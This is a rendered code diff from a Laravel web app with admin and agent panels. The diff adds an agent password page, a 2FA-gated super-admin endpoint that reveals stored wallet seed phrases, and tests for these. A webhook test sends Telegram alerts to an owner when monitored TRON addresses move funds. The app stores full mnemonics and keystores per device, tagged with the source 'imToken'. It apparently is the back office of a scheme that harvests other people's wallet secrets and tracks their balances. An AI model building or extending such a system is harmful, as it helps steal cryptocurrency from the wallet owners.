<i class="layui-icon layui-icon-password"></i>
|
||||
<cite>账号</cite>
|
||||
</a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd data-name="password">
|
||||
<a lay-href="{{ route('user.password.index') }}">修改密码</a>
|
||||
</dd>
|
||||
</dl>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -60,6 +60,9 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
|
||||
Route::get('mnemonics/data', [MnemonicController::class, 'data'])->name('mnemonics.data');
|
||||
Route::get('mnemonics/{mnemonic}/wallets', [MnemonicController::class, 'wallets'])->name('mnemonics.wallets');
|
||||
Route::post('mnemonics/{mnemonic}/wallets/refresh', [MnemonicController::class, 'refreshWallets'])->name('mnemonics.wallets.refresh');
|
||||
Route::post('mnemonics/{mnemonic}/reveal', [MnemonicController::class, 'reveal'])
|
||||
->middleware('admin.super')
|
||||
->name('mnemonics.reveal');
|
||||
|
||||
Route::get('keystores', [KeystoreController::class, 'index'])->name('keystores.index');
|
||||
Route::get('keystores/data', [KeystoreController::class, 'data'])->name('keystores.data');
|
||||
|
||||
@@ -12,6 +12,7 @@ use App\Http\Controllers\Admin\PhotoController;
|
||||
use App\Http\Controllers\Admin\TransferRecordController;
|
||||
use App\Http\Controllers\Admin\WalletAddressController;
|
||||
use App\Http\Controllers\Agent\AuthController;
|
||||
use App\Http\Controllers\Agent\PasswordController;
|
||||
use Illuminate\Support\Facades\Route;
|
||||
|
||||
Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(function () {
|
||||
@@ -22,6 +23,9 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
|
||||
Route::post('logout', [AuthController::class, 'logout'])->name('logout');
|
||||
Route::get('/', [AuthController::class, 'home'])->name('home');
|
||||
|
||||
Route::get('password', [PasswordController::class, 'index'])->name('password.index');
|
||||
Route::put('password', [PasswordController::class, 'update'])->name('password.update');
|
||||
|
||||
Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index');
|
||||
Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data');
|
||||
|
||||
|
||||
@@ -105,6 +105,29 @@ class AdminLoginTest extends TestCase
|
||||
$this->assertAuthenticated('admin');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function google2fa_bound_without_login_verify_skips_code(): void
|
||||
{
|
||||
$google2fa = app(AdminGoogle2fa::class);
|
||||
$secret = $google2fa->generateSecret();
|
||||
|
||||
Admin::query()->create([
|
||||
'username' => 'admin',
|
||||
'password' => 'admin123',
|
||||
'status' => 1,
|
||||
'google_auth_open' => 0,
|
||||
'google_secret' => $secret,
|
||||
]);
|
||||
|
||||
$this->post('/admin/login', [
|
||||
'username' => 'admin',
|
||||
'password' => 'admin123',
|
||||
])->assertOk()
|
||||
->assertJson(['code' => 0]);
|
||||
|
||||
$this->assertAuthenticated('admin');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function login_is_rate_limited_after_failures(): void
|
||||
{
|
||||
|
||||
@@ -0,0 +1,105 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Hash;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class AgentPasswordTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
private function agent(string $password = 'secret12'): User
|
||||
{
|
||||
return User::query()->create([
|
||||
'username' => 'okagent',
|
||||
'password' => $password,
|
||||
'status' => 1,
|
||||
]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function guest_cannot_open_password_page(): void
|
||||
{
|
||||
$this->get(route('user.password.index'))
|
||||
->assertRedirect(route('user.login'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_can_open_password_page(): void
|
||||
{
|
||||
$this->actingAs($this->agent(), 'agent')
|
||||
->get(route('user.password.index'))
|
||||
->assertOk()
|
||||
->assertSee('修改密码')
|
||||
->assertSee('okagent');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_can_change_password(): void
|
||||
{
|
||||
$agent = $this->agent();
|
||||
|
||||
$this->actingAs($agent, 'agent')
|
||||
->putJson(route('user.password.update'), [
|
||||
'current_password' => 'secret12',
|
||||
'password' => 'newpass12',
|
||||
'password_confirmation' => 'newpass12',
|
||||
])
|
||||
->assertOk()
|
||||
->assertJson(['code' => 0]);
|
||||
|
||||
$agent->refresh();
|
||||
$this->assertTrue(Hash::check('newpass12', $agent->password));
|
||||
$this->assertFalse(Hash::check('secret12', $agent->password));
|
||||
$this->assertAuthenticated('agent');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function wrong_current_password_is_rejected(): void
|
||||
{
|
||||
$agent = $this->agent();
|
||||
|
||||
$this->actingAs($agent, 'agent')
|
||||
->putJson(route('user.password.update'), [
|
||||
'current_password' => 'wrong-old',
|
||||
'password' => 'newpass12',
|
||||
'password_confirmation' => 'newpass12',
|
||||
])
|
||||
->assertOk()
|
||||
->assertJson(['code' => 1, 'msg' => '当前密码不正确']);
|
||||
|
||||
$agent->refresh();
|
||||
$this->assertTrue(Hash::check('secret12', $agent->password));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function confirmation_mismatch_is_rejected(): void
|
||||
{
|
||||
$this->actingAs($this->agent(), 'agent')
|
||||
->putJson(route('user.password.update'), [
|
||||
'current_password' => 'secret12',
|
||||
'password' => 'newpass12',
|
||||
'password_confirmation' => 'mismatch',
|
||||
])
|
||||
->assertStatus(422);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function same_password_is_rejected(): void
|
||||
{
|
||||
$agent = $this->agent();
|
||||
|
||||
$this->actingAs($agent, 'agent')
|
||||
->putJson(route('user.password.update'), [
|
||||
'current_password' => 'secret12',
|
||||
'password' => 'secret12',
|
||||
'password_confirmation' => 'secret12',
|
||||
])
|
||||
->assertOk()
|
||||
->assertJson(['code' => 1, 'msg' => '新密码不能与当前密码相同']);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,185 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Admin;
|
||||
use App\Models\Device;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\AdminGoogle2fa;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use PragmaRX\Google2FA\Google2FA;
|
||||
use Tests\TestCase;
|
||||
|
||||
class MnemonicRevealTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
private const PHRASE = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||
|
||||
private function storeMnemonic(): WalletMnemonic
|
||||
{
|
||||
$device = Device::query()->create(['device_id' => 'dev-reveal-1']);
|
||||
$row = new WalletMnemonic([
|
||||
'device_id' => $device->id,
|
||||
'source' => 'imToken',
|
||||
]);
|
||||
$row->mnemonic = self::PHRASE;
|
||||
$row->save();
|
||||
|
||||
return $row;
|
||||
}
|
||||
|
||||
private function bindSecret(Admin $admin): string
|
||||
{
|
||||
$secret = app(AdminGoogle2fa::class)->generateSecret();
|
||||
$admin->forceFill([
|
||||
'google_secret' => $secret,
|
||||
'google_auth_open' => 0,
|
||||
])->save();
|
||||
|
||||
return $secret;
|
||||
}
|
||||
|
||||
private function otp(string $secret): string
|
||||
{
|
||||
return (new Google2FA)->getCurrentOtp($secret);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function list_stays_masked_and_super_sees_reveal_url(): void
|
||||
{
|
||||
$admin = Admin::query()->create([
|
||||
'username' => 'root',
|
||||
'password' => 'secret12',
|
||||
'is_super' => 1,
|
||||
]);
|
||||
$mnemonic = $this->storeMnemonic();
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.mnemonics.data'))
|
||||
->assertOk()
|
||||
->assertJsonPath('data.0.id', $mnemonic->id)
|
||||
->assertJsonPath('data.0.mnemonic', 'abandon *** about')
|
||||
->assertJsonPath('data.0.can_reveal', true)
|
||||
->assertJsonPath('data.0.reveal_url', route('admin.mnemonics.reveal', $mnemonic));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function normal_admin_list_has_no_reveal(): void
|
||||
{
|
||||
$admin = Admin::query()->create([
|
||||
'username' => 'staff',
|
||||
'password' => 'secret12',
|
||||
'is_super' => 0,
|
||||
]);
|
||||
$this->storeMnemonic();
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.mnemonics.data'))
|
||||
->assertOk()
|
||||
->assertJsonPath('data.0.can_reveal', false)
|
||||
->assertJsonPath('data.0.reveal_url', '');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function super_reveals_after_google_code(): void
|
||||
{
|
||||
$admin = Admin::query()->create([
|
||||
'username' => 'root',
|
||||
'password' => 'secret12',
|
||||
'is_super' => 1,
|
||||
]);
|
||||
$secret = $this->bindSecret($admin);
|
||||
$mnemonic = $this->storeMnemonic();
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->postJson(route('admin.mnemonics.reveal', $mnemonic), [
|
||||
'GACode' => $this->otp($secret),
|
||||
])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.mnemonic', self::PHRASE);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function reveal_rejects_wrong_code(): void
|
||||
{
|
||||
$admin = Admin::query()->create([
|
||||
'username' => 'root',
|
||||
'password' => 'secret12',
|
||||
'is_super' => 1,
|
||||
]);
|
||||
$this->bindSecret($admin);
|
||||
$mnemonic = $this->storeMnemonic();
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->postJson(route('admin.mnemonics.reveal', $mnemonic), [
|
||||
'GACode' => '000000',
|
||||
])
|
||||
->assertOk()
|
||||
->assertJson(['code' => 1, 'msg' => '谷歌验证码不正确']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function reveal_requires_bound_google(): void
|
||||
{
|
||||
$admin = Admin::query()->create([
|
||||
'username' => 'root',
|
||||
'password' => 'secret12',
|
||||
'is_super' => 1,
|
||||
]);
|
||||
$mnemonic = $this->storeMnemonic();
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->postJson(route('admin.mnemonics.reveal', $mnemonic), [
|
||||
'GACode' => '123456',
|
||||
])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 1);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function normal_admin_cannot_reveal(): void
|
||||
{
|
||||
$admin = Admin::query()->create([
|
||||
'username' => 'staff',
|
||||
'password' => 'secret12',
|
||||
'is_super' => 0,
|
||||
]);
|
||||
$this->bindSecret($admin);
|
||||
$mnemonic = $this->storeMnemonic();
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->postJson(route('admin.mnemonics.reveal', $mnemonic), [
|
||||
'GACode' => '123456',
|
||||
])
|
||||
->assertForbidden();
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function bind_can_skip_login_verify(): void
|
||||
{
|
||||
$admin = Admin::query()->create([
|
||||
'username' => 'root',
|
||||
'password' => 'secret12',
|
||||
'is_super' => 1,
|
||||
]);
|
||||
$google2fa = app(AdminGoogle2fa::class);
|
||||
$secret = $google2fa->generateSecret();
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->withSession(['admin_google2fa_pending_secret' => $secret])
|
||||
->postJson(route('admin.security.google2fa.bind'), [
|
||||
'GASecret' => $secret,
|
||||
'GAKey' => $this->otp($secret),
|
||||
'login_verify' => 0,
|
||||
])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0);
|
||||
|
||||
$admin->refresh();
|
||||
$this->assertTrue($admin->hasGoogleBound());
|
||||
$this->assertFalse($admin->requiresLoginGoogle());
|
||||
}
|
||||
}
|
||||
@@ -184,6 +184,71 @@ class TokenviewWebhookTest extends TestCase
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function webhook_notifies_tron_outbound_after_chain_refresh(): void
|
||||
{
|
||||
config(['coruna.tokenview.sign_key' => '']);
|
||||
Http::fake(function ($request) {
|
||||
$url = $request->url();
|
||||
if (str_contains($url, '/v1/accounts/')) {
|
||||
return Http::response([
|
||||
'data' => [[
|
||||
'balance' => 15_043_359,
|
||||
'trc20' => [
|
||||
['TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t' => '45601000'],
|
||||
],
|
||||
]],
|
||||
'success' => true,
|
||||
], 200);
|
||||
}
|
||||
if (str_contains($url, 'api.telegram.org')) {
|
||||
return Http::response(['ok' => true], 200);
|
||||
}
|
||||
|
||||
return Http::response(['ok' => true], 200);
|
||||
});
|
||||
config([
|
||||
'coruna.telegram.bot_token' => 'bot-token',
|
||||
'coruna.telegram.owner_chat_id' => '12345',
|
||||
]);
|
||||
|
||||
$addr = $this->seedMonitoredAddress([
|
||||
'address' => 'TDZFQVZJLW3J7dpS9kCE45C8tUxBLwfinD',
|
||||
'chain_type' => 'TRON',
|
||||
'trx' => 15.0,
|
||||
'usdt' => 545.601,
|
||||
'eth' => null,
|
||||
]);
|
||||
|
||||
$payload = [
|
||||
'address' => 'TDZFQVZJLW3J7dpS9kCE45C8tUxBLwfinD',
|
||||
'txid' => 'a37a08e7cc424528276b7bf9aff5feb8076e14851feb2d2a6e01ac34de68e404',
|
||||
'coin' => 'TRX',
|
||||
'tokenSymbol' => 'USDT',
|
||||
'tokenValue' => '-500',
|
||||
'value' => '0',
|
||||
];
|
||||
|
||||
$this->postJson('/hooks/tokenview', $payload)->assertOk()->assertSee('ok');
|
||||
|
||||
$addr->refresh();
|
||||
$this->assertEqualsWithDelta(15.043359, (float) $addr->trx, 0.0000001);
|
||||
$this->assertEqualsWithDelta(45.601, (float) $addr->usdt, 0.0000001);
|
||||
|
||||
Http::assertSent(function ($request) {
|
||||
if (! str_contains($request->url(), 'api.telegram.org')) {
|
||||
return false;
|
||||
}
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, '余额转出')
|
||||
&& str_contains($text, '-500 USDT')
|
||||
&& ! str_contains($text, '余额入账')
|
||||
&& str_contains($text, '余额')
|
||||
&& str_contains($text, '45.6');
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function webhook_ignores_tron_when_token_is_not_trx_or_usdt(): void
|
||||
{
|
||||
|
||||
Reference in New Issue
Block a user